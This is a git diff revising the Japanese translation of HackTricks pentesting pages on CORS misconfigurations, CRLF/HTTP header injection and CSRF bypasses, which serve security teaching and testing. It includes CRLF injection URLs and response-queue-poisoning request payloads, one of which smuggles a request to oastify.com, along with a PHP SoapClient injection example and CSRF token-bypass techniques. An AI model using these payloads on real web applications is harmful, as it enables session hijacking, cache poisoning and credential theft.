- **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。
- **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えて、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。
- **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間(秒単位)を設定します。
-- **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーをサーバーに通知するために設定されます。
+- **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーについてサーバーに通知するために設定されます。
- **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。
- **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。
-
-**通常(コンテンツタイプと設定されたヘッダーに応じて)、GET/POSTリクエストではプリフライトリクエストは送信されません**(リクエストは**直接**送信されます)。ただし、**レスポンスのヘッダー/本文にアクセスしたい場合**は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\
-**したがって、CORSはCSRFに対して保護されていません(ただし、役立つ場合があります)。**
-
-### **ローカルネットワークリクエストのプリフライトリクエスト**
-
-1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。
-
-2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを通知します。異なるネットワーク境界を越えてリソースを共有するための許可を示し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。
-
-**ローカルネットワークリクエストを許可する有効な応答**は、レスポンスにも `Access-Controls-Allow-Local_network: true` ヘッダーを含める必要があります:
```
HTTP/1.1 200 OK
...
@@ -127,23 +116,23 @@ Content-Length: 0
...
```
{% hint style="warning" %}
-**注意**:Linuxの**0.0.0.0** IPは、この要件を**バイパス**してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。
+**注意**:Linuxの **0.0.0.0** IP はこれらの要件を **バイパス** してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。
-また、**ローカルネットワークの要件をバイパス**することも可能です。これは、**ローカルエンドポイントのパブリックIPアドレス**(たとえば、ルーターのパブリックIP)を使用する場合に当てはまります。なぜなら、いくつかの場合、**ローカルネットワーク**からアクセスされている場合、たとえ**パブリックIP**にアクセスされていても、アクセスが許可されるからです。
+また、ローカルネットワークの要件を **バイパス** することも可能です。これは、ローカルエンドポイント(たとえばルーターのパブリックIP)の **パブリックIPアドレス** を使用する場合に当てはまります。なぜなら、いくつかの場合には、アクセスされているのが **パブリックIP** であっても、それが **ローカルネットワーク** からアクセスされている場合にはアクセスが許可されるからです。
{% endhint %}
## Exploitable misconfigurations
-`Access-Control-Allow-Credentials`を**`true`**に設定することが、ほとんどの**実際の攻撃**に対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。
+`Access-Control-Allow-Credentials` を **`true`** に設定することがほとんどの **実際の攻撃** に対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、レスポンスを読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。
-### 例外:ネットワークロケーションを認証として悪用する
+### 例外:ネットワークロケーションを認証として利用する攻撃
-被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスできます。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。
+被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。
-### `Access-Control-Allow-Origin`で`Origin`の反映
+### `Access-Control-Allow-Origin` での `Origin` の反映
-`Origin`ヘッダーの値が`Access-Control-Allow-Origin`に反映される実世界のシナリオは、これらのヘッダーを組み合わせる制限のため理論的にはあり得ません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin`ヘッダーの値をコピーして`Access-Control-Allow-Origin`ヘッダーを動的に生成することがあります。このアプローチは、攻撃者が正規のように見えるドメインを使用して検証ロジックを欺くことで、脆弱性を導入する可能性があります。
+`Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実際のシナリオは、これらのヘッダーを組み合わせる制限のため理論的にはあり得ません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin` ヘッダーの値をコピーして `Access-Control-Allow-Origin` ヘッダーを動的に生成することがあります。このアプローチは脆弱性を導入する可能性があり、特に攻撃者が正規のように見せかけるために設計されたドメインを使用する場合、検証ロジックを欺くことができます。
```html
`
-- このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーがCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させます。
-4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造を導きます。
+- このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーはCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させられます。
+4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造をもたらします。
-#### リダイレクトにつながるHTTPレスポンス分割の例
+#### リダイレクトにつながるHTTP レスポンス分割の例
From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
@@ -71,7 +69,7 @@ From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-ca
```
/%0d%0aLocation:%20http://myweb.com
```
-そして、サーバーは次のヘッダーを返します:
+そして、サーバーは次のヘッダーで応答します:
```
Location: http://myweb.com
```
@@ -92,15 +90,15 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
### HTTPヘッダーインジェクション
-HTTPヘッダーインジェクションは、しばしばCRLF(キャリッジリターンと改行)インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSS(クロスサイトスクリプティング)フィルターやSOP(同一オリジンポリシー)などのセキュリティメカニズムが崩れ、CSRFトークンへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作など、機密データへの不正アクセスが可能となります。
+HTTPヘッダーインジェクションは、しばしばCRLF(キャリッジリターンおよび改行)インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSS(クロスサイトスクリプティング)フィルターやSOP(同一オリジンポリシー)などのセキュリティメカニズムが崩れ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作が可能になります。
#### HTTPヘッダーインジェクションを介したCORSの悪用
-攻撃者はHTTPヘッダーを注入してCORS(クロスオリジンリソース共有)を有効にすることができ、SOPによって課された制限を回避します。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。
+攻撃者はHTTPヘッダーを注入してCORS(クロスオリジンリソース共有)を有効にし、SOPによって課せられた制限をバイパスすることができます。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。
#### CRLFを介したSSRFおよびHTTPリクエストインジェクション
-CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成して挿入することができます。これの注目すべき例として、PHPの`SoapClient`クラスにある脆弱性があり、特に`user_agent`パラメータ内に存在します。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全に挿入したりすることができます。以下は、この悪用を示すPHPの例です:
+CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成して挿入することができます。これの注目すべき例は、PHPの`SoapClient`クラスにある脆弱性であり、特に`user_agent`パラメータ内にあります。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全に挿入したりすることができます。以下は、この悪用を示すPHPの例です:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
@@ -129,23 +127,23 @@ $client->__soapCall("test", []);
この技術や潜在的な問題についての詳細は、[**元のソースをチェックしてください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
-初期リクエストに応答した後、**バックエンドが接続を維持するようにするために**重要なヘッダーをインジェクトできます。
+初期リクエストへの応答後に**バックエンドが接続を維持する**ように、重要なヘッダーをインジェクトできます。
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
**悪用:**
-1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを汚染することを含みます。例:
+1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを毒すことを含みます。例:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
-2. **レスポンスキュー汚染のためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストが形成されるプレフィックスを作成することを含みます。これにより、レスポンスキューの汚染が引き起こされる可能性があります。例:
+2. **レスポンスキュー毒入れのためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストを形成するプレフィックスを作成することを含みます。これにより、レスポンスキューの毒入れが引き起こされる可能性があります。例:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcacheインジェクション
-Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照してください:
+Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
@@ -153,13 +151,13 @@ Memcacheは**クリアテキストプロトコルを使用するキーバリュ
**詳細については**[**元の解説**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **を読んでください**
-プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。
+プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの振る舞いを悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。
-たとえば、元の脆弱性が発見された場合、キャッシュキーが使用されてユーザーが接続すべきIPとポートを返し、攻撃者は**memcacheコマンドをインジェクト**して**キャッシュを汚染**し、被害者の詳細(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました:
+たとえば、元の脆弱性が発見された場合、キャッシュキーが使用され、ユーザーが接続すべきIPとポートを返すために使用され、攻撃者は**memcacheコマンドをインジェクト**して**キャッシュを毒し**、被害者の詳細(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました:
![https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop](../.gitbook/assets/image (6) (1) (4).png)
-さらに、研究者は、memcacheの応答をデシンクさせて、攻撃者が知らないユーザーのIPとポートを攻撃者に送信することができることも発見しました:
+さらに、研究者は、memcacheの応答をデシンクさせ、攻撃者が知らないユーザーのIPとポートを攻撃者に送信することができることも発見しました:
![https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop](../.gitbook/assets/image (40).png)
@@ -171,7 +169,7 @@ WebアプリケーションでのCRLF(キャリッジリターンおよびラ
最も安全なアプローチは、ユーザー提供の入力を直接レスポンスヘッダーに組み込まないことです。
2. **特殊文字のエンコード:**
-直接ユーザー入力を避けることができない場合は、CR(キャリッジリターン)やLF(ラインフィード)などの特殊文字をエンコードするための専用の関数を使用してください。この実践により、CRLFインジェクションの可能性を防ぎます。
+直接ユーザー入力を避けることができない場合は、CR(キャリッジリターン)やLF(ラインフィード)などの特殊文字をエンコードするための専用の関数を使用することを確認してください。この実践により、CRLFインジェクションの可能性を防ぎます。
3. **プログラミング言語の更新:**
Webアプリケーションで使用されているプログラミング言語を定期的に最新バージョンに更新してください。HTTPヘッダーを設定する関数内でCRおよびLF文字のインジェクションをデフォルトで許可しないバージョンを選択してください。
@@ -213,7 +211,7 @@ Webアプリケーションで使用されているプログラミング言語
![](../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
-**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
+**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
@@ -223,10 +221,10 @@ Webアプリケーションで使用されているプログラミング言語
HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
+* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md
index b5a8ee35e..eb44eb9cc 100644
--- a/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/pentesting-web/csrf-cross-site-request-forgery.md
@@ -2,15 +2,15 @@
-htARTE(HackTricks AWS Red Team Expert)を使用して、**ゼロからヒーローまでAWSハッキングを学ぶ**
+ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で私をフォローする[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
-- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
+- **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。
+- **ハッキングトリックを共有する**ために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
@@ -19,38 +19,38 @@ HackTricksをサポートする他の方法:
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\
-ハッキングのスリルとチャレンジに深く関わるコンテンツに参加する
+ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\
-リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保つ
+リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう
-**最新のアナウンス**\
-最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握する
+**最新の発表**\
+最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握しましょう
**Discord**(https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!
-## Cross-Site Request Forgery(CSRF)の説明
+## クロスサイトリクエストフォージェリ(CSRF)の説明
-**Cross-Site Request Forgery(CSRF)**は、Webアプリケーションで見つかるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、画像の取得などの方法を使用して、被害者のアカウントにリクエストをトリガーします。
+**クロスサイトリクエストフォージェリ(CSRF)**は、Webアプリケーションで見つかるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、画像の取得などの方法を使用して、被害者のアカウントにリクエストをトリガーします。
### CSRF攻撃の前提条件
CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります:
-1. **価値のあるアクションの特定**: 攻撃者は、ユーザーのパスワードの変更、メールの変更、特権の昇格など、悪用する価値のあるアクションを見つける必要があります。
-2. **セッション管理**: ユーザーのセッションは、クッキーまたはHTTPベーシック認証ヘッダーを介してのみ管理される必要があります。他のヘッダーはこの目的のために操作できないためです。
-3. **予測不可能なパラメーターの不在**: リクエストに予測不可能なパラメーターが含まれていない必要があります。これらのパラメーターが攻撃を防ぐことができます。
+1. **価値のあるアクションの特定**:攻撃者は、ユーザーのパスワードの変更、メールの変更、特権の昇格など、悪用する価値のあるアクションを見つける必要があります。
+2. **セッション管理**:ユーザーのセッションは、クッキーまたはHTTPベーシック認証ヘッダーを介してのみ管理されるべきです。他のヘッダーはこの目的のために操作できないためです。
+3. **予測不可能なパラメーターの不在**:リクエストに予測不可能なパラメーターが含まれていてはならず、これらが攻撃を防ぐことができます。
### CSRFに対する防御
-CSRF攻撃に対抗するために、いくつかの対策を実装できます:
+CSRF攻撃に対抗するために、いくつかの対策を実装することができます:
-* [**SameSiteクッキー**](hacking-with-cookies/#samesite): この属性は、クロスサイトリクエストと一緒にクッキーを送信しないようにします。[SameSiteクッキーについて詳しく](hacking-with-cookies/#samesite)。
-* [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃が被害者サイトからの応答を読み取ることを必要とする場合に特に攻撃の実現可能性に影響を与える可能性があります。[CORSバイパスについて学ぶ](cors-bypass.md)。
-* **ユーザーの検証**: ユーザーの意図を確認するためにパスワードを求めたり、CAPTCHAを解かせたりすることができます。
-* **リファラまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼されたソースから送信されていることを確認できます。ただし、URLの慎重な作成により、実装が不十分なチェックをバイパスすることができます。例:
+* [**SameSiteクッキー**](hacking-with-cookies/#samesite):この属性は、ブラウザがクロスサイトリクエストと一緒にクッキーを送信しないようにします。[SameSiteクッキーについて詳しく](hacking-with-cookies/#samesite)。
+* [**Cross-origin resource sharing**](cors-bypass.md):被害者サイトのCORSポリシーは、攻撃が被害者サイトからの応答を読み取ることを必要とする場合など、攻撃の実行可能性に影響を与える可能性があります。[CORSバイパスについて学ぶ](cors-bypass.md)。
+* **ユーザーの検証**:ユーザーの意図を確認するために、パスワードの入力やCAPTCHAの解決を求めることができます。
+* **リファラまたはオリジンヘッダーの確認**:これらのヘッダーを検証することで、リクエストが信頼されたソースから送信されていることを確認できます。ただし、URLの慎重な作成により、次のような実装が不十分なチェックをバイパスする可能性があります:
- `http://mal.net?orig=http://example.com`(URLが信頼されたURLで終わる)
- `http://example.com.mal.net`(URLが信頼されたURLで始まる)
-* **パラメーター名の変更**: POSTまたはGETリクエストのパラメーター名を変更することで、自動化された攻撃を防ぐのに役立ちます。
-* **CSRFトークン**: 各セッションに一意のCSRFトークンを組み込み、後続のリクエストでこのトークンを要求することで、CSRFのリスクを著しく軽減できます。トークンの効果はCORSの強制によって強化できます。
+* **パラメーター名の変更**:POSTまたはGETリクエストのパラメーター名を変更することで、自動化された攻撃を防ぐのに役立ちます。
+* **CSRFトークン**:各セッションに一意のCSRFトークンを組み込み、後続のリクエストでこのトークンを要求することで、CSRFのリスクを著しく軽減することができます。トークンの効果は、CORSの強制によって強化することができます。
これらの防御策を理解し、実装することは、Webアプリケーションのセキュリティと完全性を維持するために重要です。
@@ -58,30 +58,30 @@ CSRF攻撃に対抗するために、いくつかの対策を実装できます
### POSTからGETへ
-悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信する準備ができているかもしれませんが**、**GET**が**有効であるかどうか**、およびGETリクエストを送信するときに**CSRFトークンが引き続き検証されているかどうか**を**確認**する必要があります。
+悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信する準備ができているかもしれませんが**、**GET**も**有効であるかどうか**、そしてGETリクエストを送信するときに**CSRFトークンが引き続き検証されているかどうか**を**確認**する必要があります。
### トークンの欠如
-アプリケーションは、トークンが存在する場合にのみトークンを検証するメカニズムを実装する場合があります。ただし、トークンが欠落している場合に検証が完全にスキップされると、脆弱性が発生します。攻撃者は、トークンを運ぶパラメーターだけでなく、その値を削除することで、検証プロセスを回避し、効果的にCross-Site Request Forgery(CSRF)攻撃を実行できます。
+アプリケーションは、トークンが存在する場合にのみトークンを検証するメカニズムを実装するかもしれません。ただし、トークンが欠落している場合に検証が完全にスキップされると、脆弱性が発生します。攻撃者は、トークンを運ぶパラメーターだけでなく、その値を削除することで、検証プロセスを回避し、効果的にクロスサイトリクエストフォージェリ(CSRF)攻撃を実行することができます。
### CSRFトークンがユーザーセッションに紐付いていない
-CSRFトークンをユーザーセッションに紐付けないアプリケーションは、重大な**セキュリティリスク**を示します。これらのシステムは、各トークンが開始セッションにバインドされていることを確認するのではなく、トークンを**グローバルプール**に対して検証します。
+CSRFトークンをユーザーセッションに紐付けていないアプリケーションは、重大な**セキュリティリスク**を示します。これらのシステムは、各トークンが開始セッションにバインドされていることを確認するのではなく、トークンをグローバルプールに対して検証します。
-攻撃者がこれを悪用する方法:
+攻撃者がこれをどのように悪用するか:
-1. 自分のアカウントを使用して**認証**する。
-2. グローバルプールから有効なCSRFトークンを**取得**する。
-3. このトークンを被害者に対するCSRF攻撃に**使用**する。
+1. 自分のアカウントを使用して**認証**します。
+2. グローバルプールから有効なCSRFトークンを**取得**します。
+3. このトークンを被害者に対するCSRF攻撃に**使用**します。
-この脆弱性により、攻撃者は被害者を代表して不正なリクエストを行い、アプリケーションの**不適切なトークン検証メカニズム**を悪用できます。
+この脆弱性により、攻撃者は被害者を代表して不正なリクエストを行うことができ、アプリケーションの**不適切なトークン検証メカニズム**を悪用します。
### メソッドバイパス
-リクエストが**「奇妙な」メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。
-たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを試してみて、_https://example.com/my/dear/api/val/num?**\_method=PUT**_を**送信**できます。
+リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。
+たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを試して、_https://example.com/my/dear/api/val/num?**\_method=PUT**_を**送信**できます。
-これは、**POSTリクエスト内の\_methodパラメーターを送信**するか、**ヘッダー**を使用しても機能する可能性があります:
+これは、**POSTリクエスト内に\_methodパラメーターを送信**するか、**ヘッダー**を使用することでも機能する可能性があります:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
@@ -89,16 +89,16 @@ CSRFトークンをユーザーセッションに紐付けないアプリケー
### カスタムヘッダートークンバイパス
-リクエストが**CSRF保護方法としてカスタムヘッダーにトークン**を追加している場合、次のようにします:
+リクエストが**CSRF保護方法としてカスタムヘッダーにトークンを追加**している場合、次のようにしてください:
-- **カスタムトークンとヘッダーを削除して**リクエストをテストします。
-- **同じ長さ**の異なるトークンを使用して、リクエストをテストします。
+- **カスタムトークンとヘッダーを削除**してリクエストをテストします。
+- 同じ長さの**異なるトークン**を使用してリクエストをテストします。
### CSRFトークンがクッキーによって検証されている
-アプリケーションは、リクエストパラメーターとクッキーの両方にトークンを複製するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することで、CSRF保護を実装する場合があります。アプリケーションは、リクエストパラメーター内のトークンがクッキー内の値と一致するかどうかを確認することでリクエストを検証します。
+アプリケーションは、CSRF保護を実装する際に、クッキーとリクエストパラメーターの両方にトークンを複製するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーと一致するかどうかを検証することによって実装する場合があります。アプリケーションは、リクエストパラメーター内のトークンがクッキー内の値と一致するかどうかを確認することでリクエストを検証します。
-ただし、この方法は、WebサイトにCRLF脆弱性などの欠陥がある場合、攻撃者が被害者のブラウザにCSRFクッキーを設定できるようにする欠陥があるため、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んでからCSRF攻撃を開始することで、これを悪用できます。
+ただし、この方法は、ウェブサイトにCRLF脆弱性などの欠陥がある場合、攻撃者が被害者のブラウザにCSRFクッキーを設定することを許可する欠陥がある場合に、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んでからCSRF攻撃を開始することで、これを悪用することができます。
以下は、攻撃がどのように構築されるかの例です:
```html
@@ -130,7 +130,7 @@ CSRFトークンをユーザーセッションに紐付けないアプリケー
ただし、使用される **Content-Type** に応じて **サーバーのロジックが異なる場合** があるため、上記の値や **`application/json`**、**`text/xml`**、**`application/xml`** などの他の値を試す必要があります。
-JSON データを **text/plain** として送信する例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から):
+例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から): JSON データを text/plain として送信する場合:
```html
@@ -145,13 +145,13 @@ form.submit();
```
### Preflightリクエストのバイパス方法(JSONデータ用)
-JSONデータをPOSTリクエストで送信しようとする際、HTMLフォームで `Content-Type: application/json` を使用することは直接はできません。同様に、このコンテンツタイプを送信するために `XMLHttpRequest` を使用すると、プリフライトリクエストが開始されます。それでも、この制限を回避し、サーバーがJSONデータを処理するかどうかを確認するための戦略があります:
+JSONデータをPOSTリクエストで送信しようとする際、HTMLフォームで `Content-Type: application/json` を使用することは直接はできません。同様に、このコンテンツタイプを送信するために `XMLHttpRequest` を使用すると、プリフライトリクエストが開始されます。それでも、この制限をバイパスし、サーバーがJSONデータを処理するかどうかを確認するための戦略があります:
-1. **代替コンテンツタイプの使用**: フォーム内で `enctype="text/plain"` を設定して `Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用します。この方法は、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。
